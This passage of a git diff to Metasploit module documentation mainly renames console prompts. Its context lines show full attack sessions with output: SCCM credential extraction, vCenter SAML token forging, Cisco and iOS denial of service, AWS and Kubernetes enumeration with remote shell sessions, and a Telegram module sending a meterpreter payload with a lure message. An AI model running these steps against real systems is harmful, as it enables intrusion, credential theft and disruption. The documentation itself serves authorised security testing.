base DN: DC=sccm,DC=lab +CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab +========================================================================= + + Name Attributes + ---- ---------- + cn SMS-MP-P01-MECM.SCCM.LAB + dnshostname MECM.sccm.lab + mssmssitecode P01 + +[*] Query returned 1 result. +[*] Auxiliary module execution completed + +msf auxiliary(gather/ldap_query) > use auxiliary/admin/sccm/get_naa_credentials + +msf auxiliary(admin/sccm/get_naa_credentials) > run computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj management_point=MECM.sccm.lab site_code=P01 + +[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E +[*] Waiting 5 seconds for SCCM DB to update... +[*] Got NAA Policy URL: http:///SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00 +[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789 +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/admin/smb/webexec_command.md b/documentation/modules/auxiliary/admin/smb/webexec_command.md index 8ccd18499ad75..d0c65fe35e311 100644 --- a/documentation/modules/auxiliary/admin/smb/webexec_command.md +++ b/documentation/modules/auxiliary/admin/smb/webexec_command.md @@ -29,17 +29,17 @@ ### Tested on Cisco WebEx v33.3.8.7 on Windows 7 x64 and x86 ``` - msf5 > use auxiliary/admin/smb/webexec_command - msf5 auxiliary(admin/smb/webexec_command) > set rhosts 192.168.37.136 + msf > use auxiliary/admin/smb/webexec_command + msf auxiliary(admin/smb/webexec_command) > set rhosts 192.168.37.136 rhosts => 192.168.37.136 - msf5 auxiliary(admin/smb/webexec_command) > set smbuser a_user + msf auxiliary(admin/smb/webexec_command) > set smbuser a_user smbuser => a_user - msf5 auxiliary(admin/smb/webexec_command) > set smbpass password + msf auxiliary(admin/smb/webexec_command) > set smbpass password smbpass => password - msf5 auxiliary(admin/smb/webexec_command) > run + msf auxiliary(admin/smb/webexec_command) > run [+] 192.168.37.136:445 - Command completed! [*] 192.168.37.136:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed - msf5 auxiliary(admin/smb/webexec_command) > + msf auxiliary(admin/smb/webexec_command) > ``` diff --git a/documentation/modules/auxiliary/admin/vmware/vcenter_forge_saml_token.md b/documentation/modules/auxiliary/admin/vmware/vcenter_forge_saml_token.md index 83e82368a032a..8e4f9c737f44a 100644 --- a/documentation/modules/auxiliary/admin/vmware/vcenter_forge_saml_token.md +++ b/documentation/modules/auxiliary/admin/vmware/vcenter_forge_saml_token.md @@ -187,18 +187,18 @@ You should now have `idp.pem`, `idp.key`, and `vmca.pem` in your working directo Example run against vCenter appliance version 7.0 Update 3d: ``` -msf6 > use auxiliary/admin/vmware/vcenter_forge_saml_token.rb -msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set RHOSTS 192.168.100.110 +msf > use auxiliary/admin/vmware/vcenter_forge_saml_token.rb +msf auxiliary(admin/vmware/vcenter_forge_saml_token) > set RHOSTS 192.168.100.110 RHOSTS => 192.168.100.110 -msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VHOST vcenter.cesium137.io +msf auxiliary(admin/vmware/vcenter_forge_saml_token) > set VHOST vcenter.cesium137.io VHOST => vcenter.cesium137.io -msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_IDP_CERT ~/idp.pem +msf auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_IDP_CERT ~/idp.pem VC_IDP_CERT => ~/idp.pem -msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_IDP_KEY ~/idp.key +msf auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_IDP_KEY ~/idp.key VC_IDP_KEY => ~/idp.key -msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_VMCA_CERT ~/vmca.pem +msf auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_VMCA_CERT ~/vmca.pem VC_VMCA_CERT => ~/vmca.pem -msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > run +msf auxiliary(admin/vmware/vcenter_forge_saml_token) > run [*] Running module against 192.168.100.110 [+] Validated vCenter Single Sign-On IdP trusted certificate chain @@ -210,9 +210,9 @@ msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > run [+] Got valid administrator session token! [+] JSESSIONID=DA9ECA61A289E32D31D9926D0CD433C1; Path=/ui [*] Auxiliary module execution completed -msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > +msf auxiliary(admin/vmware/vcenter_forge_saml_token) > ``` ### Using the Session Cookie Inject the acquired session cookie using the method of your choice. The cookie name must be `JSESSIONID` with the value returned from the auxiliary module, and the path for the cookie -must be set to `/ui`. \ No newline at end of file +must be set to `/ui`. diff --git a/documentation/modules/auxiliary/admin/vmware/vcenter_offline_mdb_extract.md b/documentation/modules/auxiliary/admin/vmware/vcenter_offline_mdb_extract.md index 9ae5cab91cb70..a2b661b251d36 100644 --- a/documentation/modules/auxiliary/admin/vmware/vcenter_offline_mdb_extract.md +++ b/documentation/modules/auxiliary/admin/vmware/vcenter_offline_mdb_extract.md @@ -61,14 +61,14 @@ If you are extracting from a backup file, target files are available in the foll Example run against database files extracted from vCenter appliance version 7.0 Update 3d: ``` -msf6 > use auxiliary/admin/vmware/vcenter_offline_mdb_extract -msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vmdir_mdb /tmp/data.mdb +msf > use auxiliary/admin/vmware/vcenter_offline_mdb_extract +msf auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vmdir_mdb /tmp/data.mdb vmdir_mdb => /tmp/data.mdb -msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vmafd_db /tmp/afd.db +msf auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vmafd_db /tmp/afd.db vmafd_db => /tmp/afd.db -msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vc_ip 192.168.100.70 +msf auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vc_ip 192.168.100.70 vc_ip => 192.168.100.70 -msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > dump +msf auxiliary(admin/vmware/vcenter_offline_mdb_extract) > dump [*] Extracting vmwSTSTenantCredential from /tmp/data.mdb ... [+] SSO_STS_IDP key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_idp_571080.key @@ -94,5 +94,5 @@ msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > dump [+] WCP key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_WCP_057402.key [+] WCP cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_WCP_909204.pem [*] Auxiliary module execution completed -msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > -``` \ No newline at end of file +msf auxiliary(admin/vmware/vcenter_offline_mdb_extract) > +``` diff --git a/documentation/modules/auxiliary/admin/wemo/crockpot.md b/documentation/modules/auxiliary/admin/wemo/crockpot.md index a4115725c1080..f698a8f390980 100644 --- a/documentation/modules/auxiliary/admin/wemo/crockpot.md +++ b/documentation/modules/auxiliary/admin/wemo/crockpot.md @@ -38,22 +38,22 @@ functionality. Set this only if you're SURE you want to proceed. ## Usage ``` -msf5 > use auxiliary/admin/wemo/crockpot -msf5 auxiliary(admin/wemo/crockpot) > set rhosts 10.22.22.1 +msf > use auxiliary/admin/wemo/crockpot +msf auxiliary(admin/wemo/crockpot) > set rhosts 10.22.22.1 rhosts => 10.22.22.1 -msf5 auxiliary(admin/wemo/crockpot) > set temp High +msf auxiliary(admin/wemo/crockpot) > set temp High temp => High -msf5 auxiliary(admin/wemo/crockpot) > set time 1 +msf auxiliary(admin/wemo/crockpot) > set time 1 time => 1 -msf5 auxiliary(admin/wemo/crockpot) > set defangedmode false +msf auxiliary(admin/wemo/crockpot) > set defangedmode false defangedmode => false -msf5 auxiliary(admin/wemo/crockpot) > set verbose true +msf auxiliary(admin/wemo/crockpot) > set verbose true verbose => true -msf5 auxiliary(admin/wemo/crockpot) > run +msf auxiliary(admin/wemo/crockpot) > run [+] Wemo-enabled Crock-Pot detected [*] Cooking on High for 1m [+] Cook time set to 1m [*] Auxiliary module execution completed -msf5 auxiliary(admin/wemo/crockpot) > +msf auxiliary(admin/wemo/crockpot) > ``` diff --git a/documentation/modules/auxiliary/analyze/crack_mobile.md b/documentation/modules/auxiliary/analyze/crack_mobile.md index fb48f790aeab1..bd3bc3c23ffec 100644 --- a/documentation/modules/auxiliary/analyze/crack_mobile.md +++ b/documentation/modules/auxiliary/analyze/crack_mobile.md @@ -151,11 +151,11 @@ creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging. ``` -msf5 post(android/gather/hashdump) > creds add user:androidsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-sha1 -msf5 post(android/gather/hashdump) > previous -msf5 auxiliary(analyze/crack_mobile) > set showcommand true +msf post(android/gather/hashdump) > creds add user:androidsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-sha1 +msf post(android/gather/hashdump) > previous +msf auxiliary(analyze/crack_mobile) > set showcommand true showcommand => true -msf5 auxiliary(analyze/crack_mobile) > run +msf auxiliary(analyze/crack_mobile) > run [+] hashcat Version Detected: v5.1.0 [*] Hashes Written out to /tmp/hashes_tmp20191112-9775-19hbg7j @@ -189,14 +189,14 @@ nvmlDeviceGetFanSpeed(): Not Supported Create a password with each type, passwords are all `1234`. ``` -msf5 > creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1 -msf5 > creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1 -msf5 > creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5 +msf > creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1 +msf > creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1 +msf > creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5 ``` ``` -msf5 > use auxiliary/analyze/crack_mobile -msf5 auxiliary(analyze/crack_mobile) > run +msf > use auxiliary/analyze/crack_mobile +msf auxiliary(analyze/crack_mobile) > run [+] hashcat Version Detected: v5.1.0 [*] Hashes Written out to /tmp/hashes_tmp20191113-29506-1xydi7 diff --git a/documentation/modules/auxiliary/client/telegram/send_message.md b/documentation/modules/auxiliary/client/telegram/send_message.md index eaff416d9b871..02ebe983ed5e0 100644 --- a/documentation/modules/auxiliary/client/telegram/send_message.md +++ b/documentation/modules/auxiliary/client/telegram/send_message.md @@ -43,8 +43,8 @@ The full path to the file which contains different CHAT_IDs, one per line, which ## Demonstration ``` -msf6 > use auxiliary/client/telegram/send_message -msf6 auxiliary(client/telegram/send_message) > show options +msf > use auxiliary/client/telegram/send_message +msf auxiliary(client/telegram/send_message) > show options Module options (auxiliary/client/telegram/send_message): @@ -58,37 +58,37 @@ Module options (auxiliary/client/telegram/send_message): IDFILE no File containing chat IDs, one per line MESSAGE no The message to be sent -msf6 auxiliary(client/telegram/send_message) > set BOT_TOKEN *redacted* +msf auxiliary(client/telegram/send_message) > set BOT_TOKEN *redacted* BOT_TOKEN => *redacted* -msf6 auxiliary(client/telegram/send_message) > -msf6 auxiliary(client/telegram/send_message) > -msf6 auxiliary(client/telegram/send_message) > -msf6 auxiliary(client/telegram/send_message) > set CHAT_ID 1725*redacted* +msf auxiliary(client/telegram/send_message) > +msf auxiliary(client/telegram/send_message) > +msf auxiliary(client/telegram/send_message) > +msf auxiliary(client/telegram/send_message) > set CHAT_ID 1725*redacted* CHAT_ID => 1725*redacted* -msf6 auxiliary(client/telegram/send_message) > set DOCUMENT /home/gwillcox/git/metasploit-framework/bind_meterpreter.py +msf auxiliary(client/telegram/send_message) > set DOCUMENT /home/gwillcox/git/metasploit-framework/bind_meterpreter.py DOCUMENT => /home/gwillcox/git/metasploit-framework/bind_meterpreter.py -msf6 auxiliary(client/telegram/send_message) > set MESSAGE "Check out this cool new script!" +msf auxiliary(client/telegram/send_message) > set MESSAGE "Check out this cool new script!" MESSAGE => Check out this cool new script! -msf6 auxiliary(client/telegram/send_message) > run +msf auxiliary(client/telegram/send_message) > run [+] Document sent successfully to 1725*redacted* [+] Message sent successfully to 1725*redacted* [*] Auxiliary module execution completed -msf6 auxiliary(client/telegram/send_message) > run +msf auxiliary(client/telegram/send_message) > run [+] Document sent successfully to 1725*redacted* [+] Message sent successfully to 1725*redacted* [*] Auxiliary module execution completed -msf6 auxiliary(client/telegram/send_message) > code test_ids +msf auxiliary(client/telegram/send_message) > code test_ids [*] exec: code test_ids -msf6 auxiliary(client/telegram/send_message) > set IDFILE test_ids +msf auxiliary(client/telegram/send_message) > set IDFILE test_ids IDFILE => test_ids -msf6 auxiliary(client/telegram/send_message) > cat test_ids +msf auxiliary(client/telegram/send_message) > cat test_ids [*] exec: cat test_ids -593*redacted* -1725*redacted*msf6 auxiliary(client/telegram/send_message) > run +1725*redacted*msf auxiliary(client/telegram/send_message) > run [!] Opening `/home/gwillcox/git/metasploit-framework/test_ids` to fetch chat IDs... [+] Document sent successfully to -593*redacted* @@ -98,5 +98,5 @@ msf6 auxiliary(client/telegram/send_message) > cat test_ids [+] Document sent successfully to 1725*redacted* [+] Message sent successfully to 1725*redacted* [*] Auxiliary module execution completed -msf6 auxiliary(client/telegram/send_message) > +msf auxiliary(client/telegram/send_message) > ``` diff --git a/documentation/modules/auxiliary/cloud/aws/enum_ec2.md b/documentation/modules/auxiliary/cloud/aws/enum_ec2.md index 414ba5c3eba01..8936aa08d0937 100644 --- a/documentation/modules/auxiliary/cloud/aws/enum_ec2.md +++ b/documentation/modules/auxiliary/cloud/aws/enum_ec2.md @@ -41,7 +41,7 @@ This module authenticates to AWS EC2 (Elastic Compute Cloud) to identify compute ### Provided a valid 'access key ID' and 'secret access key' with sufficient privileges ``` -msf5 auxiliary(cloud/aws/enum_iam) > run +msf auxiliary(cloud/aws/enum_iam) > run [+] Found 3 users. [+] User Name: test1 @@ -89,29 +89,29 @@ msf5 auxiliary(cloud/aws/enum_iam) > run ### Provided an invalid or inactive 'access key ID' ``` -msf5 auxiliary(cloud/aws/enum_iam) > run +msf auxiliary(cloud/aws/enum_iam) > run [-] Auxiliary aborted due to failure: unexpected-reply: The security token included in the request is invalid. [*] Auxiliary module execution completed -msf5 auxiliary(cloud/aws/enum_iam) > +msf auxiliary(cloud/aws/enum_iam) > ``` ### Provided an invalid 'secret access key' ``` -msf5 auxiliary(cloud/aws/enum_iam) > run +msf auxiliary(cloud/aws/enum_iam) > run [-] Auxiliary aborted due to failure: unexpected-reply: The request signature we calculated does not match the signature you provided. Check your AWS Secret Access Key and signing method. Consult the service documentation for details. [*] Auxiliary module execution completed -msf5 auxiliary(cloud/aws/enum_iam) > +msf auxiliary(cloud/aws/enum_iam) > ``` ### Provided an 'access key ID' or 'secret access key' with insufficient privileges ``` -msf5 auxiliary(cloud\aws\enum_ec2) > run +msf auxiliary(cloud\aws\enum_ec2) > run [-] Auxiliary aborted due to failure: unexpected-reply: User: arn:aws:iam::899712345657:user/test1 is not authorized to perform: iam:ListUsers on resource: arn:aws:iam::899712345657:user/ [*] Auxiliary module execution completed -msf5 auxiliary(cloud\aws\enum_ec2) > +msf auxiliary(cloud\aws\enum_ec2) > ``` diff --git a/documentation/modules/auxiliary/cloud/aws/enum_iam.md b/documentation/modules/auxiliary/cloud/aws/enum_iam.md index 776adb7e2ac74..e9ad8068a4b88 100644 --- a/documentation/modules/auxiliary/cloud/aws/enum_iam.md +++ b/documentation/modules/auxiliary/cloud/aws/enum_iam.md @@ -54,7 +54,7 @@ This module authenticates to AWS IAM (Identify Access Module) to identify user a ### Provided a valid 'access key ID' and 'secret access key' with sufficient privileges ``` -msf5 auxiliary(cloud/aws/enum_ec2) > run +msf auxiliary(cloud/aws/enum_ec2) > run [*] Found 0 instances in eu-north-1 [*] Found 0 instances in ap-south-1 @@ -78,25 +78,25 @@ msf5 auxiliary(cloud/aws/enum_ec2) > run [+] Private IP: 18.236.87.255 (ip-172-31-30-21.us-west-2.compute.internal) [+] Security Group: sg-0d52cc35aaf82aff5 [*] Auxiliary module execution completed -msf5 auxiliary(cloud/aws/enum_ec2) > +msf auxiliary(cloud/aws/enum_ec2) > ``` ### Provided an invalid or inactive 'access key ID', or an invalid 'secret access key' ``` -msf5 auxiliary(cloud\aws\enum_ec2) > run +msf auxiliary(cloud\aws\enum_ec2) > run [-] Auxiliary aborted due to failure: unexpected-reply: AWS was not able to validate the provided access credentials [*] Auxiliary module execution completed -msf5 auxiliary(cloud\aws\enum_ec2) > +msf auxiliary(cloud\aws\enum_ec2) > ``` ### Provided an 'access key ID' or 'secret access key' with insufficient privileges ``` -msf5 auxiliary(cloud\aws\enum_ec2) > run +msf auxiliary(cloud\aws\enum_ec2) > run [-] Auxiliary aborted due to failure: unexpected-reply: You are not authorized to perform this operation. [*] Auxiliary module execution completed -msf5 auxiliary(cloud\aws\enum_ec2) > +msf auxiliary(cloud\aws\enum_ec2) > ``` diff --git a/documentation/modules/auxiliary/cloud/aws/enum_s3.md b/documentation/modules/auxiliary/cloud/aws/enum_s3.md index c38d9a381faa5..0fcba2ef75a44 100644 --- a/documentation/modules/auxiliary/cloud/aws/enum_s3.md +++ b/documentation/modules/auxiliary/cloud/aws/enum_s3.md @@ -47,7 +47,7 @@ This module authenticates to AWS S3 (Simple Storage Service), to identify bucket ### Provided a valid 'access key ID' and 'secret access key' with sufficient privileges ``` -msf5 auxiliary(cloud/aws/enum_s3) > run +msf auxiliary(cloud/aws/enum_s3) > run [+] Found 1 buckets. [+] Name: asoto-secret-demo-bucket [+] Creation Date: 2019-06-13 23:30:26 UTC @@ -61,35 +61,35 @@ msf5 auxiliary(cloud/aws/enum_s3) > run [*] [*] Done. [*] Auxiliary module execution completed -msf5 auxiliary(cloud/aws/enum_s3) > exit +msf auxiliary(cloud/aws/enum_s3) > exit ``` ### Provided an invalid or inactive 'access key ID' ``` -msf5 auxiliary(cloud/aws/enum_s3) > run +msf auxiliary(cloud/aws/enum_s3) > run [-] Auxiliary aborted due to failure: unexpected-reply: The AWS Access Key Id you provided does not exist in our records. [*] Auxiliary module execution completed -msf5 auxiliary(cloud/aws/enum_s3) > +msf auxiliary(cloud/aws/enum_s3) > ``` ### Provided an invalid 'secret access key' ``` -msf5 auxiliary(cloud/aws/enum_s3) > run +msf auxiliary(cloud/aws/enum_s3) > run [-] Auxiliary aborted due to failure: unexpected-reply: The request signature we calculated does not match the signature you provided. Check your key and signing method. [*] Auxiliary module execution completed -msf5 auxiliary(cloud/aws/enum_s3) > +msf auxiliary(cloud/aws/enum_s3) > ``` ### Provided an 'access key ID' or 'secret access key' with insufficient privileges ``` -msf5 auxiliary(cloud/aws/enum_s3) > run +msf auxiliary(cloud/aws/enum_s3) > run [-] Auxiliary aborted due to failure: unexpected-reply: Access Denied [*] Auxiliary module execution completed -msf5 auxiliary(cloud/aws/enum_s3) > +msf auxiliary(cloud/aws/enum_s3) > ``` diff --git a/documentation/modules/auxiliary/cloud/aws/enum_ssm.md b/documentation/modules/auxiliary/cloud/aws/enum_ssm.md index f324b3d5fca7f..1b2cf402d210b 100644 --- a/documentation/modules/auxiliary/cloud/aws/enum_ssm.md +++ b/documentation/modules/auxiliary/cloud/aws/enum_ssm.md @@ -36,11 +36,11 @@ Create a new session for every successful login. Enumerating EC2 instances in the US-East-2 region and opening a session on each one (`CreateSession` is True). ``` -msf6 auxiliary(cloud/aws/enum_ssm) > set ACCESS_KEY_ID AKIAO5WK2W9TMZT7EAM5 +msf auxiliary(cloud/aws/enum_ssm) > set ACCESS_KEY_ID AKIAO5WK2W9TMZT7EAM5 ACCESS_KEY_ID => AKIAO5WK2W9TMZT7EAM5 -msf6 auxiliary(cloud/aws/enum_ssm) > set SECRET_ACCESS_KEY pDNhoEPuubvWSsp18axjPFBM4sNme6vnNUFb6qWo +msf auxiliary(cloud/aws/enum_ssm) > set SECRET_ACCESS_KEY pDNhoEPuubvWSsp18axjPFBM4sNme6vnNUFb6qWo SECRET_ACCESS_KEY => pDNhoEPuubvWSsp18axjPFBM4sNme6vnNUFb6qWo -msf6 auxiliary(cloud/aws/enum_ssm) > run +msf auxiliary(cloud/aws/enum_ssm) > run [*] Checking us-east-2... [+] Found AWS SSM host i-02cd668d50587bdcf (ip-172-31-42-215.us-east-2.compute.internal) - 172.31.42.215 @@ -48,5 +48,5 @@ msf6 auxiliary(cloud/aws/enum_ssm) > run [+] Found AWS SSM host i-074187bde1453613a (EC2AMAZ-HM7U6TS.WORKGROUP) - 172.31.44.170 [*] AWS SSM command shell session 4 opened (192.168.250.134:37231 -> 172.31.44.170:0) at 2023-05-22 16:43:05 -0400 [*] Auxiliary module execution completed -msf6 auxiliary(cloud/aws/enum_ssm) > +msf auxiliary(cloud/aws/enum_ssm) > ``` diff --git a/documentation/modules/auxiliary/cloud/kubernetes/enum_kubernetes.md b/documentation/modules/auxiliary/cloud/kubernetes/enum_kubernetes.md index 3b6b5c31631cb..1da3facee5821 100644 --- a/documentation/modules/auxiliary/cloud/kubernetes/enum_kubernetes.md +++ b/documentation/modules/auxiliary/cloud/kubernetes/enum_kubernetes.md @@ -52,12 +52,12 @@ Output format, allowed values are: table, json Explicitly setting RHOST and TOKEN to enumerate all available namespaces, and associated resources: ``` -msf6 > use cloud/kubernetes/enum_kubernetes -msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443 +msf > use cloud/kubernetes/enum_kubernetes +msf auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443 RHOST => https://kubernetes.docker.internal:6443 -msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO... +msf auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO... TOKEN => eyJhbGciO... -msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > run +msf auxiliary(cloud/kubernetes/enum_kubernetes) > run [*] Running module against 127.0.0.1 [+] Kubernetes service version: {"major":"1","minor":"21","gitVersion":"v1.21.2","gitCommit":"092fbfbf53427de67cac1e9fa54aaa09a28371d7","gitTreeState":"clean","buildDate":"2021-06-16T12:53:14Z","goVersion":"go1.16.5","compiler":"gc","platform":"linux/amd64"} @@ -413,7 +413,7 @@ Secrets (namespace: kubernetes-dashboard) [+] service token kubernetes-dashboard-token-gfhhr: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_729795.bin [*] Auxiliary module execution completed -msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > +msf auxiliary(cloud/kubernetes/enum_kubernetes) > ``` ### Using actions @@ -421,7 +421,7 @@ msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > See available actions: ``` -msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > show actions +msf auxiliary(cloud/kubernetes/enum_kubernetes) > show actions Auxiliary actions: @@ -441,7 +441,7 @@ Auxiliary actions: Enumerate pods: ``` -msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > pods +msf auxiliary(cloud/kubernetes/enum_kubernetes) > pods [*] Running module against 127.0.0.1 Pods (namespace: default) ========================= @@ -469,7 +469,7 @@ Pods (namespace: default) Enumerate a pod with a specified namespace, name: ``` -msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > pod namespace=default name=redis-7fd956df5-sbchb +msf auxiliary(cloud/kubernetes/enum_kubernetes) > pod namespace=default name=redis-7fd956df5-sbchb [*] Running module against 127.0.0.1 Pods (namespace: default) ========================= @@ -485,7 +485,7 @@ Pods (namespace: default) Enumerate a pod with a specified namespace, name, and outputting the result as JSON: ``` -msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > pod namespace=default name=redis-7fd956df5-sbchb output=json +msf auxiliary(cloud/kubernetes/enum_kubernetes) > pod namespace=default name=redis-7fd956df5-sbchb output=json [*] Running module against 127.0.0.1 [ diff --git a/documentation/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.md b/documentation/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.md index 5dfbac0edcfb3..a4413cc2688fe 100644 --- a/documentation/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.md +++ b/documentation/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.md @@ -18,10 +18,10 @@ The device will "re-spring" the operating system, but not actually restart the d ### Safari 602.1 on iOS 10.1.1 ``` -msf5 > use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur -msf5 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > set URIPATH / +msf > use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur +msf auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > set URIPATH / URIPATH => / -msf5 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > run +msf auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > run [*] Using URL: http://0.0.0.0:8080/ [*] Local IP: http://192.168.0.1:8080/ diff --git a/documentation/modules/auxiliary/dos/cisco/cisco_7937g_dos.md b/documentation/modules/auxiliary/dos/cisco/cisco_7937g_dos.md index e684133f89e37..38964cb0b4bd9 100644 --- a/documentation/modules/auxiliary/dos/cisco/cisco_7937g_dos.md +++ b/documentation/modules/auxiliary/dos/cisco/cisco_7937g_dos.md @@ -29,10 +29,10 @@ #### Successful Scenario: ``` -msf5 > use auxiliary/dos/cisco/cisco_7937G_dos -msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209 +msf > use auxiliary/dos/cisco/cisco_7937G_dos +msf auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209 rhost => 192.168.110.209 -msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run +msf auxiliary(dos/cisco/cisco_7937G_dos) > run [*] Starting server... [*] 192.168.110.209 - Connected (version 2.0, client OpenSSH_4.3) @@ -54,10 +54,10 @@ msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run #### Unsuccessful Scenario: ``` -msf5 > use auxiliary/dos/cisco/cisco_7937G_dos -msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209 +msf > use auxiliary/dos/cisco/cisco_7937G_dos +msf auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209 rhost => 192.168.110.209 -msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run +msf auxiliary(dos/cisco/cisco_7937G_dos) > run [*] Starting server... [-] 192.168.110.209 - Device doesn't appear to be functioning (already dos'd?) or SSH is not enabled. @@ -68,10 +68,10 @@ msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run #### Successful Scenario: ``` -msf5 > use auxiliary/dos/cisco/cisco_7937G_dos -msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209 +msf > use auxiliary/dos/cisco/cisco_7937G_dos +msf auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209 rhost => 192.168.110.209 -msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run +msf auxiliary(dos/cisco/cisco_7937G_dos) > run [*] Starting server... [*] 192.168.110.209 - Connected (version 2.0, client OpenSSH_4.3) @@ -93,10 +93,10 @@ msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run #### Unsuccessful Scenario: ``` -msf5 > use auxiliary/dos/cisco/cisco_7937G_dos -msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209 +msf > use auxiliary/dos/cisco/cisco_7937G_dos +msf auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209 rhost => 192.168.110.209 -msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run +msf auxiliary(dos/cisco/cisco_7937G_dos) > run [*] Starting server... [-] 192.168.110.209 - Device doesn't appear to be functioning (already dos'd?) or SSH is not enabled. diff --git a/documentation/modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.md b/documentation/modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.md index d6731f4ed4ceb..9e563aab639c8 100644 --- a/documentation/modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.md +++ b/documentation/modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.md @@ -28,10 +28,10 @@ ### Cisco 7937G Running Firmware Version SCCP-1-4-5-7 ``` -msf5 > use auxiliary/dos/cisco/cisco_7937g_dos_reboot -msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > set rhost 192.168.110.209 +msf > use auxiliary/dos/cisco/cisco_7937g_dos_reboot +msf auxiliary(dos/cisco/cisco_7937g_dos_reboot) > set rhost 192.168.110.209 rhost => 192.168.110.209 -msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > run +msf auxiliary(dos/cisco/cisco_7937g_dos_reboot) > run [*] Starting server... [*] 192.168.110.209 - Sending DoS Packets. Stand by. @@ -42,10 +42,10 @@ msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > run ### Cisco 7937G Running Firmware Version SCCP-1-4-5-5 ``` -msf5 > use auxiliary/dos/cisco/cisco_7937g_dos_reboot -msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > set rhost 192.168.110.209 +msf > use 